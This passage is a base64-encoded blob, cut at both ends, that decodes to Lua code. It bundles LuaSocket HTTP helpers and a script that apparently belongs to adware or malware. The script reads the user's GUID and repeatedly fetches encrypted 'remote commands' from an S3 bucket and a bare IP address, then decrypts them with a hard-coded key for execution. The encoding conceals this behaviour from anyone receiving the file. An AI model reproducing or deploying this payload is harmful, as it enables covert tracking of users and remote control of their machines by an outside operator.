cmVjdG9yeSB0aGVuIGU9ZS4uIi8iZW5kCmVuZAplbHNlCmZvciBhPTEsYS0xIGRvCmU9ZS4ubih0
W2FdKQplPWUuLiIvIgplbmQKaWYgYT4wIHRoZW4KZT1lLi5uKHRbYV0pCmlmIHQuaXNfZGlyZWN0
b3J5IHRoZW4gZT1lLi4iLyJlbmQKZW5kCmVuZAppZiB0LmlzX2Fic29sdXRlIHRoZW4gZT0iLyIu
LmUgZW5kCnJldHVybiBlCmVuZAplbmQpCnBhY2thZ2UucHJlbG9hZFsnbHRuMTInXT0oZnVuY3Rp
b24oLi4uKQpsb2NhbCBzPXJlcXVpcmUoInN0cmluZyIpCmxvY2FsIG89cmVxdWlyZSgidGFibGUi
KQpsb2NhbCBlPV9HCm1vZHVsZSgibHRuMTIiKQpmaWx0ZXI9e30Kc291cmNlPXt9CnNpbms9e30K
cHVtcD17fQpCTE9DS1NJWkU9MjA0OApfVkVSU0lPTj0iTFROMTIgMS4wLjEiCmZ1bmN0aW9uIGZp
bHRlci5jeWNsZShhLHQsbykKZS5hc3NlcnQoYSkKcmV0dXJuIGZ1bmN0aW9uKGkpCmxvY2FsIGUK
ZSx0PWEodCxpLG8pCnJldHVybiBlCmVuZAplbmQKZnVuY3Rpb24gZmlsdGVyLmNoYWluKC4uLikK
bG9jYWwgbj1vLmdldG4oYXJnKQpsb2NhbCBvLGE9MSwxCmxvY2FsIGk9IiIKcmV0dXJuIGZ1bmN0
aW9uKHQpCmk9dCBhbmQgaQp3aGlsZSB0cnVlIGRvCmlmIGE9PW8gdGhlbgp0PWFyZ1thXSh0KQpp
ZiB0PT0iIm9yIG89PW4gdGhlbiByZXR1cm4gdAplbHNlaWYgdCB0aGVuIGE9YSsxCmVsc2UKbz1v
KzEKYT1vCmVuZAplbHNlCnQ9YXJnW2FdKHQgb3IiIikKaWYgdD09IiJ0aGVuCmE9YS0xCnQ9aQpl
bHNlaWYgdCB0aGVuCmlmIGE9PW4gdGhlbiByZXR1cm4gdAplbHNlIGE9YSsxIGVuZAplbHNlIGUu
ZXJyb3IoImZpbHRlciByZXR1cm5lZCBpbmFwcHJvcHJpYXRlIG5pbCIpZW5kCmVuZAplbmQKZW5k
CmVuZApsb2NhbCBmdW5jdGlvbiB0KCkKcmV0dXJuIG5pbAplbmQKZnVuY3Rpb24gc291cmNlLmVt
cHR5KCkKcmV0dXJuIHQKZW5kCmZ1bmN0aW9uIHNvdXJjZS5lcnJvcihlKQpyZXR1cm4gZnVuY3Rp
b24oKQpyZXR1cm4gbmlsLGUKZW5kCmVuZApmdW5jdGlvbiBzb3VyY2UuZmlsZShlLGEpCmlmIGUg
dGhlbgpyZXR1cm4gZnVuY3Rpb24oKQpsb2NhbCB0PWU6cmVhZChCTE9DS1NJWkUpCmlmIG5vdCB0
IHRoZW4gZTpjbG9zZSgpZW5kCnJldHVybiB0CmVuZAplbHNlIHJldHVybiBzb3VyY2UuZXJyb3Io
YSBvciJ1bmFibGUgdG8gb3BlbiBmaWxlIillbmQKZW5kCmZ1bmN0aW9uIHNvdXJjZS5zaW1wbGlm
eSh0KQplLmFzc2VydCh0KQpyZXR1cm4gZnVuY3Rpb24oKQpsb2NhbCBlLGE9dCgpCnQ9YSBvciB0
CmlmIG5vdCBlIHRoZW4gcmV0dXJuIG5pbCxhCmVsc2UgcmV0dXJuIGUgZW5kCmVuZAplbmQKZnVu
Y3Rpb24gc291cmNlLnN0cmluZyh0KQppZiB0IHRoZW4KbG9jYWwgZT0xCnJldHVybiBmdW5jdGlv
bigpCmxvY2FsIHQ9cy5zdWIodCxlLGUrQkxPQ0tTSVpFLTEpCmU9ZStCTE9DS1NJWkUKaWYgdH49
IiJ0aGVuIHJldHVybiB0CmVsc2UgcmV0dXJuIG5pbCBlbmQKZW5kCmVsc2UgcmV0dXJuIHNvdXJj
ZS5lbXB0eSgpZW5kCmVuZApmdW5jdGlvbiBzb3VyY2UucmV3aW5kKGEpCmUuYXNzZXJ0KGEpCmxv
Y2FsIHQ9e30KcmV0dXJuIGZ1bmN0aW9uKGUpCmlmIG5vdCBlIHRoZW4KZT1vLnJlbW92ZSh0KQpp
ZiBub3QgZSB0aGVuIHJldHVybiBhKCkKZWxzZSByZXR1cm4gZSBlbmQKZWxzZQpvLmluc2VydCh0
LGUpCmVuZAplbmQKZW5kCmZ1bmN0aW9uIHNvdXJjZS5jaGFpbihzLG4pCmUuYXNzZXJ0KHMgYW5k
IG4pCmxvY2FsIGEsdD0iIiwiIgpsb2NhbCBpPSJmZWVkaW5nIgpsb2NhbCBvCnJldHVybiBmdW5j
dGlvbigpCmlmIG5vdCB0IHRoZW4KZS5lcnJvcignc291cmNlIGlzIGVtcHR5IScsMikKZW5kCndo
aWxlIHRydWUgZG8KaWYgaT09ImZlZWRpbmcidGhlbgphLG89cygpCmlmIG8gdGhlbiByZXR1cm4g
bmlsLG8gZW5kCnQ9bihhKQppZiBub3QgdCB0aGVuCmlmIGEgdGhlbgplLmVycm9yKCdmaWx0ZXIg
cmV0dXJuZWQgaW5hcHByb3ByaWF0ZSBuaWwnKQplbHNlCnJldHVybiBuaWwKZW5kCmVsc2VpZiB0
fj0iInRoZW4KaT0iZWF0aW5nIgppZiBhIHRoZW4gYT0iImVuZApyZXR1cm4gdAplbmQKZWxzZQp0
PW4oYSkKaWYgdD09IiJ0aGVuCmlmIGE9PSIidGhlbgppPSJmZWVkaW5nIgplbHNlCmUuZXJyb3Io
J2ZpbHRlciByZXR1cm5lZCAiIicpCmVuZAplbHNlaWYgbm90IHQgdGhlbgppZiBhIHRoZW4KZS5l
cnJvcignZmlsdGVyIHJldHVybmVkIGluYXBwcm9wcmlhdGUgbmlsJykKZWxzZQpyZXR1cm4gbmls
CmVuZAplbHNlCnJldHVybiB0CmVuZAplbmQKZW5kCmVuZAplbmQKZnVuY3Rpb24gc291cmNlLmNh
dCguLi4pCmxvY2FsIGU9by5yZW1vdmUoYXJnLDEpCnJldHVybiBmdW5jdGlvbigpCndoaWxlIGUg
ZG8KbG9jYWwgdCxhPWUoKQppZiB0IHRoZW4gcmV0dXJuIHQgZW5kCmlmIGEgdGhlbiByZXR1cm4g
bmlsLGEgZW5kCmU9by5yZW1vdmUoYXJnLDEpCmVuZAplbmQKZW5kCmZ1bmN0aW9uIHNpbmsudGFi
bGUoZSkKZT1lIG9ye30KbG9jYWwgdD1mdW5jdGlvbih0LGEpCmlmIHQgdGhlbiBvLmluc2VydChl
LHQpZW5kCnJldHVybiAxCmVuZApyZXR1cm4gdCxlCmVuZApmdW5jdGlvbiBzaW5rLnNpbXBsaWZ5
KHQpCmUuYXNzZXJ0KHQpCnJldHVybiBmdW5jdGlvbihlLGEpCmxvY2FsIGEsZT10KGUsYSkKaWYg
bm90IGEgdGhlbiByZXR1cm4gbmlsLGUgZW5kCnQ9ZSBvciB0CnJldHVybiAxCmVuZAplbmQKZnVu
Y3Rpb24gc2luay5maWxlKGUsYSkKaWYgZSB0aGVuCnJldHVybiBmdW5jdGlvbih0LGEpCmlmIG5v
dCB0IHRoZW4KZTpjbG9zZSgpCnJldHVybiAxCmVsc2UgcmV0dXJuIGU6d3JpdGUodCllbmQKZW5k
CmVsc2UgcmV0dXJuIHNpbmsuZXJyb3IoYSBvciJ1bmFibGUgdG8gb3BlbiBmaWxlIillbmQKZW5k
CmxvY2FsIGZ1bmN0aW9uIHQoKQpyZXR1cm4gMQplbmQKZnVuY3Rpb24gc2luay5udWxsKCkKcmV0
dXJuIHQKZW5kCmZ1bmN0aW9uIHNpbmsuZXJyb3IoZSkKcmV0dXJuIGZ1bmN0aW9uKCkKcmV0dXJu
IG5pbCxlCmVuZAplbmQKZnVuY3Rpb24gc2luay5jaGFpbihhLG8pCmUuYXNzZXJ0KGEgYW5kIG8p
CnJldHVybiBmdW5jdGlvbih0LGkpCmlmIHR+PSIidGhlbgpsb2NhbCBlPWEodCkKbG9jYWwgdD10
IGFuZCIiCndoaWxlIHRydWUgZG8KbG9jYWwgaSxvPW8oZSxpKQppZiBub3QgaSB0aGVuIHJldHVy
biBuaWwsbyBlbmQKaWYgZT09dCB0aGVuIHJldHVybiAxIGVuZAplPWEodCkKZW5kCmVsc2UgcmV0
dXJuIDEgZW5kCmVuZAplbmQKZnVuY3Rpb24gcHVtcC5zdGVwKGUsYSkKbG9jYWwgdCxlPWUoKQps
b2NhbCBvLGE9YSh0LGUpCmlmIHQgYW5kIG8gdGhlbiByZXR1cm4gMQplbHNlIHJldHVybiBuaWws
ZSBvciBhIGVuZAplbmQKZnVuY3Rpb24gcHVtcC5hbGwobyxhLHQpCmUuYXNzZXJ0KG8gYW5kIGEp
CnQ9dCBvciBwdW1wLnN0ZXAKd2hpbGUgdHJ1ZSBkbwpsb2NhbCB0LGU9dChvLGEpCmlmIG5vdCB0
IHRoZW4KaWYgZSB0aGVuIHJldHVybiBuaWwsZQplbHNlIHJldHVybiAxIGVuZAplbmQKZW5kCmVu
ZAplbmQpCnBhY2thZ2UucHJlbG9hZFsnbWltZSddPShmdW5jdGlvbiguLi4pCmxvY2FsIG89X0cK
bG9jYWwgZT1yZXF1aXJlKCJsdG4xMiIpCmxvY2FsIHQ9cmVxdWlyZSgibWltZS5jb3JlIikKbG9j
YWwgdD1yZXF1aXJlKCJpbyIpCmxvY2FsIG49cmVxdWlyZSgic3RyaW5nIikKbW9kdWxlKCJtaW1l
IikKZW5jb2RldD17fQpkZWNvZGV0PXt9CndyYXB0PXt9CmxvY2FsIGZ1bmN0aW9uIGEoYSkKcmV0
dXJuIGZ1bmN0aW9uKGUsdCxpKQppZiBvLnR5cGUoZSl+PSJzdHJpbmcidGhlbgplLHQsaT0iZGVm
YXVsdCIsZSx0CmVuZApsb2NhbCBhPWFbZSBvciJuaWwiXQppZiBub3QgYSB0aGVuCm8uZXJyb3Io
InVua25vd24ga2V5ICgiLi5vLnRvc3RyaW5nKGUpLi4iKSIsMykKZWxzZSByZXR1cm4gYSh0LGkp
ZW5kCmVuZAplbmQKZW5jb2RldFsnYmFzZTY0J109ZnVuY3Rpb24oKQpyZXR1cm4gZS5maWx0ZXIu
Y3ljbGUoYjY0LCIiKQplbmQKZW5jb2RldFsncXVvdGVkLXByaW50YWJsZSddPWZ1bmN0aW9uKHQp
CnJldHVybiBlLmZpbHRlci5jeWNsZShxcCwiIiwKKHQ9PSJiaW5hcnkiKWFuZCI9MEQ9MEEib3Ii
XHJcbiIpCmVuZApkZWNvZGV0WydiYXNlNjQnXT1mdW5jdGlvbigpCnJldHVybiBlLmZpbHRlci5j
eWNsZSh1bmI2NCwiIikKZW5kCmRlY29kZXRbJ3F1b3RlZC1wcmludGFibGUnXT1mdW5jdGlvbigp
CnJldHVybiBlLmZpbHRlci5jeWNsZSh1bnFwLCIiKQplbmQKbG9jYWwgZnVuY3Rpb24gdChlKQpp
ZiBlIHRoZW4KaWYgZT09IiJ0aGVuIHJldHVybiInJyIKZWxzZSByZXR1cm4gbi5sZW4oZSllbmQK
ZWxzZSByZXR1cm4ibmlsImVuZAplbmQKd3JhcHRbJ3RleHQnXT1mdW5jdGlvbih0KQp0PXQgb3Ig
NzYKcmV0dXJuIGUuZmlsdGVyLmN5Y2xlKHdycCx0LHQpCmVuZAp3cmFwdFsnYmFzZTY0J109d3Jh
cHRbJ3RleHQnXQp3cmFwdFsnZGVmYXVsdCddPXdyYXB0Wyd0ZXh0J10Kd3JhcHRbJ3F1b3RlZC1w
cmludGFibGUnXT1mdW5jdGlvbigpCnJldHVybiBlLmZpbHRlci5jeWNsZShxcHdycCw3Niw3NikK
ZW5kCmVuY29kZT1hKGVuY29kZXQpCmRlY29kZT1hKGRlY29kZXQpCndyYXA9YSh3cmFwdCkKZnVu
Y3Rpb24gbm9ybWFsaXplKHQpCnJldHVybiBlLmZpbHRlci5jeWNsZShlb2wsMCx0KQplbmQKZnVu
Y3Rpb24gc3R1ZmYoKQpyZXR1cm4gZS5maWx0ZXIuY3ljbGUoZG90LDIpCmVuZAplbmQpCnBhY2th
Z2UucHJlbG9hZFsnc29ja2V0Lmh0dHAnXT0oZnVuY3Rpb24oLi4uKQpsb2NhbCB0PXJlcXVpcmUo
InNvY2tldCIpCmxvY2FsIGg9cmVxdWlyZSgic29ja2V0LnVybCIpCmxvY2FsIGk9cmVxdWlyZSgi
bHRuMTIiKQpsb2NhbCBsPXJlcXVpcmUoIm1pbWUiKQpsb2NhbCBvPXJlcXVpcmUoInN0cmluZyIp
CmxvY2FsIGE9X0cKbG9jYWwgZD1yZXF1aXJlKCJ0YWJsZSIpCm1vZHVsZSgic29ja2V0Lmh0dHAi
KQpUSU1FT1VUPTYwClBPUlQ9ODAKVVNFUkFHRU5UPXQuX1ZFUlNJT04KbG9jYWwgZnVuY3Rpb24g
cihoLGkpCmxvY2FsIG4sYSxzLGUKaT1pIG9ye30KbixlPWg6cmVjZWl2ZSgpCmlmIGUgdGhlbiBy
ZXR1cm4gbmlsLGUgZW5kCndoaWxlIG5+PSIiZG8KYSxzPXQuc2tpcCgyLG8uZmluZChuLCJeKC4t
KTolcyooLiopIikpCmlmIG5vdChhIGFuZCBzKXRoZW4gcmV0dXJuIG5pbCwibWFsZm9ybWVkIHJl
cG9uc2UgaGVhZGVycyJlbmQKYT1vLmxvd2VyKGEpCm4sZT1oOnJlY2VpdmUoKQppZiBlIHRoZW4g
cmV0dXJuIG5pbCxlIGVuZAp3aGlsZSBvLmZpbmQobiwiXiVzIilkbwpzPXMuLm4Kbj1oOnJlY2Vp
dmUoKQppZiBlIHRoZW4gcmV0dXJuIG5pbCxlIGVuZAplbmQKaWYgaVthXXRoZW4gaVthXT1pW2Fd
Li4iLCAiLi5zCmVsc2UgaVthXT1zIGVuZAplbmQKcmV0dXJuIGkKZW5kCnQuc291cmNldFsiaHR0
cC1jaHVua2VkIl09ZnVuY3Rpb24oZSxpKQpyZXR1cm4gYS5zZXRtZXRhdGFibGUoewpnZXRmZD1m
dW5jdGlvbigpcmV0dXJuIGU6Z2V0ZmQoKWVuZCwKZGlydHk9ZnVuY3Rpb24oKXJldHVybiBlOmRp
cnR5KCllbmQKfSx7Cl9fY2FsbD1mdW5jdGlvbigpCmxvY2FsIG4sdD1lOnJlY2VpdmUoKQppZiB0
IHRoZW4gcmV0dXJuIG5pbCx0IGVuZApsb2NhbCBhPWEudG9udW1iZXIoby5nc3ViKG4sIjsuKiIs
IiIpLDE2KQppZiBub3QgYSB0aGVuIHJldHVybiBuaWwsImludmFsaWQgY2h1bmsgc2l6ZSJlbmQK
aWYgYT4wIHRoZW4KbG9jYWwgdCxhLG89ZTpyZWNlaXZlKGEpCmlmIHQgdGhlbiBlOnJlY2VpdmUo
KWVuZApyZXR1cm4gdCxhCmVsc2UKaSx0PXIoZSxpKQppZiBub3QgaSB0aGVuIHJldHVybiBuaWws
dCBlbmQKZW5kCmVuZAp9KQplbmQKdC5zaW5rdFsiaHR0cC1jaHVua2VkIl09ZnVuY3Rpb24oZSkK
cmV0dXJuIGEuc2V0bWV0YXRhYmxlKHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiBlOmdldGZkKCll
bmQsCmRpcnR5PWZ1bmN0aW9uKClyZXR1cm4gZTpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rp
b24oYSx0LGEpCmlmIG5vdCB0IHRoZW4gcmV0dXJuIGU6c2VuZCgiMFxyXG5cclxuIillbmQKbG9j
YWwgYT1vLmZvcm1hdCgiJVhcclxuIixvLmxlbih0KSkKcmV0dXJuIGU6c2VuZChhLi50Li4iXHJc
biIpCmVuZAp9KQplbmQKbG9jYWwgZT17X19pbmRleD17fX0KZnVuY3Rpb24gb3BlbihpLG4sbykK
bG9jYWwgbz10LnRyeSgobyBvciB0LnRjcCkoKSkKbG9jYWwgZT1hLnNldG1ldGF0YWJsZSh7Yz1v
fSxlKQplLnRyeT10Lm5ld3RyeShmdW5jdGlvbigpZTpjbG9zZSgpZW5kKQplLnRyeShvOnNldHRp
bWVvdXQoVElNRU9VVCkpCmUudHJ5KG86Y29ubmVjdChpLG4gb3IgUE9SVCkpCnJldHVybiBlCmVu
ZApmdW5jdGlvbiBlLl9faW5kZXg6c2VuZHJlcXVlc3RsaW5lKGUsdCkKbG9jYWwgZT1vLmZvcm1h
dCgiJXMgJXMgSFRUUC8xLjFcclxuIixlIG9yIkdFVCIsdCkKcmV0dXJuIHNlbGYudHJ5KHNlbGYu
YzpzZW5kKGUpKQplbmQKZnVuY3Rpb24gZS5fX2luZGV4OnNlbmRoZWFkZXJzKHQpCmxvY2FsIGU9
IlxyXG4iCmZvciB0LGEgaW4gYS5wYWlycyh0KWRvCmU9dC4uIjogIi4uYS4uIlxyXG4iLi5lCmVu
ZApzZWxmLnRyeShzZWxmLmM6c2VuZChlKSkKcmV0dXJuIDEKZW5kCmZ1bmN0aW9uIGUuX19pbmRl
eDpzZW5kYm9keShuLGUsYSkKZT1lIG9yIGkuc291cmNlLmVtcHR5KCkKYT1hIG9yIGkucHVtcC5z
dGVwCmxvY2FsIG89Imh0dHAtY2h1bmtlZCIKaWYgblsiY29udGVudC1sZW5ndGgiXXRoZW4gbz0i
a2VlcC1vcGVuImVuZApyZXR1cm4gc2VsZi50cnkoaS5wdW1wLmFsbChlLHQuc2luayhvLHNlbGYu
YyksYSkpCmVuZApmdW5jdGlvbiBlLl9faW5kZXg6cmVjZWl2ZXN0YXR1c2xpbmUoKQpsb2NhbCBl
PXNlbGYudHJ5KHNlbGYuYzpyZWNlaXZlKDUpKQppZiBlfj0iSFRUUC8idGhlbiByZXR1cm4gbmls
LGUgZW5kCmU9c2VsZi50cnkoc2VsZi5jOnJlY2VpdmUoIipsIixlKSkKbG9jYWwgdD10LnNraXAo
MixvLmZpbmQoZSwiSFRUUC8lZColLiVkKiAoJWQlZCVkKSIpKQpyZXR1cm4gc2VsZi50cnkoYS50
b251bWJlcih0KSxlKQplbmQKZnVuY3Rpb24gZS5fX2luZGV4OnJlY2VpdmVoZWFkZXJzKCkKcmV0
dXJuIHNlbGYudHJ5KHIoc2VsZi5jKSkKZW5kCmZ1bmN0aW9uIGUuX19pbmRleDpyZWNlaXZlYm9k
eShuLHMsZSkKcz1zIG9yIGkuc2luay5udWxsKCkKZT1lIG9yIGkucHVtcC5zdGVwCmxvY2FsIHI9
YS50b251bWJlcihuWyJjb250ZW50LWxlbmd0aCJdKQpsb2NhbCBoPW5bInRyYW5zZmVyLWVuY29k
aW5nIl0KbG9jYWwgbz0iZGVmYXVsdCIKaWYgaCBhbmQgaH49ImlkZW50aXR5InRoZW4gbz0iaHR0
cC1jaHVua2VkIgplbHNlaWYgYS50b251bWJlcihuWyJjb250ZW50LWxlbmd0aCJdKXRoZW4gbz0i
YnktbGVuZ3RoImVuZApyZXR1cm4gc2VsZi50cnkoaS5wdW1wLmFsbCh0LnNvdXJjZShvLHNlbGYu
YyxyKSwKcyxlKSkKZW5kCmZ1bmN0aW9uIGUuX19pbmRleDpyZWNlaXZlMDlib2R5KG4sbyxhKQps
b2NhbCBlPWkuc291cmNlLnJld2luZCh0LnNvdXJjZSgidW50aWwtY2xvc2VkIixzZWxmLmMpKQpl
KG4pCnJldHVybiBzZWxmLnRyeShpLnB1bXAuYWxsKGUsbyxhKSkKZW5kCmZ1bmN0aW9uIGUuX19p
bmRleDpjbG9zZSgpCnJldHVybiBzZWxmLmM6Y2xvc2UoKQplbmQKbG9jYWwgZnVuY3Rpb24gbihl
KQpsb2NhbCBhPWUKaWYgbm90IGUucHJveHkgYW5kIG5vdCBQUk9YWSB0aGVuCmE9ewpwYXRoPXQu
dHJ5KGUucGF0aCwiaW52YWxpZCBwYXRoICduaWwnIiksCnBhcmFtcz1lLnBhcmFtcywKcXVlcnk9
ZS5xdWVyeSwKZnJhZ21lbnQ9ZS5mcmFnbWVudAp9CmVuZApyZXR1cm4gaC5idWlsZChhKQplbmQK
bG9jYWwgZnVuY3Rpb24gcyh0KQpsb2NhbCBlPXQucHJveHkgb3IgUFJPWFkKaWYgZSB0aGVuCmU9
aC5wYXJzZShlKQpyZXR1cm4gZS5ob3N0LGUucG9ydCBvciAzMTI4CmVsc2UKcmV0dXJuIHQuaG9z
dCx0LnBvcnQKZW5kCmVuZApsb2NhbCBmdW5jdGlvbiByKGUpCmxvY2FsIHQ9ewpbInVzZXItYWdl
bnQiXT1VU0VSQUdFTlQsClsiaG9zdCJdPWUuaG9zdCwKWyJjb25uZWN0aW9uIl09ImNsb3NlLCBU
RSIsClsidGUiXT0idHJhaWxlcnMiCn0KaWYgZS51c2VyIGFuZCBlLnBhc3N3b3JkIHRoZW4KdFsi
YXV0aG9yaXphdGlvbiJdPQoiQmFzaWMgIi4uKGwuYjY0KGUudXNlci4uIjoiLi5lLnBhc3N3b3Jk
KSkKZW5kCmZvciBhLGUgaW4gYS5wYWlycyhlLmhlYWRlcnMgb3IgdClkbwp0W28ubG93ZXIoYSld
PWUKZW5kCnJldHVybiB0CmVuZApsb2NhbCBlPXsKaG9zdD0iIiwKcG9ydD1QT1JULApwYXRoPSIv
IiwKc2NoZW1lPSJodHRwIgp9CmxvY2FsIGZ1bmN0aW9uIHUobykKbG9jYWwgZT1vLnVybCBhbmQg
aC5wYXJzZShvLnVybCxlKW9ye30KZm9yIHQsYSBpbiBhLnBhaXJzKG8pZG8gZVt0XT1hIGVuZApp
ZiBlLnBvcnQ9PSIidGhlbiBlLnBvcnQ9ODAgZW5kCnQudHJ5KGUuaG9zdCBhbmQgZS5ob3N0fj0i
IiwKImludmFsaWQgaG9zdCAnIi4uYS50b3N0cmluZyhlLmhvc3QpLi4iJyIpCmUudXJpPW8udXJp
IG9yIG4oZSkKZS5ob3N0LGUucG9ydD1zKGUpCmUuaGVhZGVycz1yKGUpCnJldHVybiBlCmVuZAps
b2NhbCBmdW5jdGlvbiBsKGUsYSx0KQpyZXR1cm4gdC5sb2NhdGlvbiBhbmQKby5nc3ViKHQubG9j
YXRpb24sIiVzIiwiIil+PSIiYW5kCihlLnJlZGlyZWN0fj1mYWxzZSlhbmQKKGE9PTMwMSBvciBh
PT0zMDIpYW5kCihub3QgZS5tZXRob2Qgb3IgZS5tZXRob2Q9PSJHRVQib3IgZS5tZXRob2Q9PSJI
RUFEIikKYW5kKG5vdCBlLm5yZWRpcmVjdHMgb3IgZS5ucmVkaXJlY3RzPDUpCmVuZApsb2NhbCBm
dW5jdGlvbiByKHQsZSkKaWYgdC5tZXRob2Q9PSJIRUFEInRoZW4gcmV0dXJuIG5pbCBlbmQKaWYg
ZT09MjA0IG9yIGU9PTMwNCB0aGVuIHJldHVybiBuaWwgZW5kCmlmIGU+PTEwMCBhbmQgZTwyMDAg
dGhlbiByZXR1cm4gbmlsIGVuZApyZXR1cm4gMQplbmQKbG9jYWwgbixzCmZ1bmN0aW9uIHMoZSx0
KQpsb2NhbCBpLGEsZSxvPW57CnVybD1oLmFic29sdXRlKGUudXJsLHQpLApzb3VyY2U9ZS5zb3Vy
Y2UsCnNpbms9ZS5zaW5rLApoZWFkZXJzPWUuaGVhZGVycywKcHJveHk9ZS5wcm94eSwKbnJlZGly
ZWN0cz0oZS5ucmVkaXJlY3RzIG9yIDApKzEsCmNyZWF0ZT1lLmNyZWF0ZQp9CmU9ZSBvcnt9CmUu
bG9jYXRpb249ZS5sb2NhdGlvbiBvciB0CnJldHVybiBpLGEsZSxvCmVuZApmdW5jdGlvbiBuKG4p
CmxvY2FsIGU9dShuKQpsb2NhbCB0PW9wZW4oZS5ob3N0LGUucG9ydCxlLmNyZWF0ZSkKdDpzZW5k
cmVxdWVzdGxpbmUoZS5tZXRob2QsZS51cmkpCnQ6c2VuZGhlYWRlcnMoZS5oZWFkZXJzKQppZiBl
LnNvdXJjZSB0aGVuCnQ6c2VuZGJvZHkoZS5oZWFkZXJzLGUuc291cmNlLGUuc3RlcCkKZW5kCmxv
Y2FsIGEsaT10OnJlY2VpdmVzdGF0dXNsaW5lKCkKaWYgbm90IGEgdGhlbgp0OnJlY2VpdmUwOWJv
ZHkoaSxlLnNpbmssZS5zdGVwKQpyZXR1cm4gMSwyMDAKZW5kCmxvY2FsIG8Kd2hpbGUgYT09MTAw
IGRvCm89dDpyZWNlaXZlaGVhZGVycygpCmEsaT10OnJlY2VpdmVzdGF0dXNsaW5lKCkKZW5kCm89
dDpyZWNlaXZlaGVhZGVycygpCmlmIGwoZSxhLG8pYW5kIG5vdCBlLnNvdXJjZSB0aGVuCnQ6Y2xv
c2UoKQpyZXR1cm4gcyhuLG8ubG9jYXRpb24pCmVuZAppZiByKGUsYSl0aGVuCnQ6cmVjZWl2ZWJv
ZHkobyxlLnNpbmssZS5zdGVwKQplbmQKdDpjbG9zZSgpCnJldHVybiAxLGEsbyxpCmVuZApsb2Nh
bCBmdW5jdGlvbiBoKGUsYSkKbG9jYWwgcz17fQpsb2NhbCBlPXsKdXJsPWUsCnNpbms9aS5zaW5r
LnRhYmxlKHMpCn0KaWYgYSB0aGVuCmUuc291cmNlPWkuc291cmNlLnN0cmluZyhhKQplLmhlYWRl
cnM9ewpbImNvbnRlbnQtbGVuZ3RoIl09by5sZW4oYSksClsiY29udGVudC10eXBlIl09ImFwcGxp
Y2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIKfQplLm1ldGhvZD0iUE9TVCIKZW5kCmxvY2Fs
IGUsYSx0PXQuc2tpcCgxLG4oZSkpCnJldHVybiBkLmNvbmNhdChzKSxlLGEsdAplbmQKcmVxdWVz
dD10LnByb3RlY3QoZnVuY3Rpb24oZSx0KQppZiBhLnR5cGUoZSk9PSJzdHJpbmcidGhlbiByZXR1
cm4gaChlLHQpCmVsc2UgcmV0dXJuIG4oZSllbmQKZW5kKQplbmQpCmxvY2FsIGU9cmVxdWlyZSgi
c29ja2V0Lmh0dHAiKTsKbG9jYWwgZT1yZXF1aXJlKCJjb21tb24iKTsKSlNPTj1yZXF1aXJlKCJK
U09OIik7CmU9ZS5uZXcoKTsKbG9jYWwgdD0oR2V0VXNlckd1aWQpYW5kIEdldFVzZXJHdWlkKClv
ciIiOwp0PXN0cmluZy5mb3JtYXQoIiVzLSVzLSVzLSVzLSVzIix0OnN1YigxLDgpLHQ6c3ViKDks
MTIpLHQ6c3ViKDEzLDE2KSx0OnN1YigxNywyMCksdDpzdWIoMjEpKTsKbG9jYWwgaT0oQ2hlY2tB
cmcpYW5kIENoZWNrQXJnKCJzb3VyY2UiKW9yIiI7CmxvY2FsIGE9KENoZWNrQXJnKWFuZCBDaGVj
a0FyZygib3B0aW9ucyIpb3IiIjsKbG9jYWwgcz0oYTpzdWIoNSw1KT09IjEiKWFuZCJwcm9kdWN0
aW9uIm9yImRldmVsb3BtZW50IjsKbG9jYWwgbz0oYX49IiIpYW5kIHN0cmluZy5mb3JtYXQoIiVz
IixhOnN1Yig4LDEwKSlvciI5OTkiOwpsb2NhbCBjPXRydWU7CmxvY2FsIG49IiI7CmxvY2FsIG89
c3RyaW5nLmZvcm1hdCgiaHR0cDovL3MzLmFtYXpvbmF3cy5jb20vY2RuLmFkcGsuY29tLyVzLyVz
L2NvbW1hbmRzLmRhdD9nPSVzJnM9JXMiLG8sYTpzdWIoNSw1KSxzdHJpbmcudXBwZXIodCksaSk7
CmxvY2FsIG49b3MudGltZSgpLTcwMDsKbG9jYWwgYT0iNmM2MTcxNzU2MTZlNjQ2MTc3NjE3NDZi
Njk2ZTczNzI2NTZkNmY3NDY1NjQ2MjBhIjsKbG9jYWwgaD0iMSI7CmxvY2FsIHQ9c3RyaW5nLmZv
cm1hdCgiaHR0cDovLzU0LjIyMS4xMzIuMjIwL2V1Lmpzb24/Zz0lcyZzPSVzIixzdHJpbmcudXBw
ZXIodCksaSk7CmlmIEdldFRpbWVMYXN0Q21kfj1uaWwgdGhlbgpuPUdldFRpbWVMYXN0Q21kKCk7
CmlmIG49PTAgdGhlbgpTZXRUaW1lTGFzdENtZChvcy50aW1lKCkpOwplbmQKZW5kCmUuZGVidWco
c3RyaW5nLmZvcm1hdCgiPT09PT09PT09PT09PT09PT09PT09PT09PSBWRVJTSU9OICVzICVzICVz
ID09PT09PT09PT09PT09PT09PT09PT09PT0iLEdldFZlcnNpb24oKSxzLG9zLnRpbWUoKS1uKSk7
CmZ1bmN0aW9uIEpTT046b25EZWNvZGVFcnJvcihhLHQsbyxpKQplLmRlYnVnKHN0cmluZy5mb3Jt
YXQoIkpTT04gRGVjb2RlIEVycm9yIE1lc3NhZ2U6ICVzICVzICVzIixhLG8sdCkpOwplbmQKaWYo
b3MudGltZSgpLW4pPjYwMCB0aGVuCmxvY2FsIGksdD1lLmdldGJ5aHR0cCh0KTsKaWYgU2V0VGlt
ZUxhc3RDbWR+PW5pbCB0aGVuClNldFRpbWVMYXN0Q21kKG9zLnRpbWUoKSk7CmVuZAppZiBzdHJp
bmcuZmluZCh0LCJodG1sIilvciBzdHJpbmcuZmluZCh0LCJzdGF0dXMiKW9yIHQ9PW5pbCBvciB0
PT0iInRoZW4KaSxzUmVtb3RlREI9ZS5nZXRieWh0dHAobyk7CmlmIHNSZW1vdGVEQn49bmlsIHRo
ZW4KZS5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJSZW1vdGUgY29tbWFuZHMgKCVzKSByZXRyaWV2ZWQg
ZnJvbSAlcyBzdWNjZXNzZnVsbHkiLCNzUmVtb3RlREIsbykpOwpzUmVtb3RlREI9KEVuY3J5cHQp
YW5kIEVuY3J5cHQoc1JlbW90ZURCLGEpb3IgZS5lbmNyeXB0KHNSZW1vdGVEQixhKTsKbG9jYWwg
ZT1KU09OOmRlY29kZShzUmVtb3RlREIpOwpyZW1vdGVkYl9qc29uPWU7CmVsc2UKZS5kZWJ1Zyhz
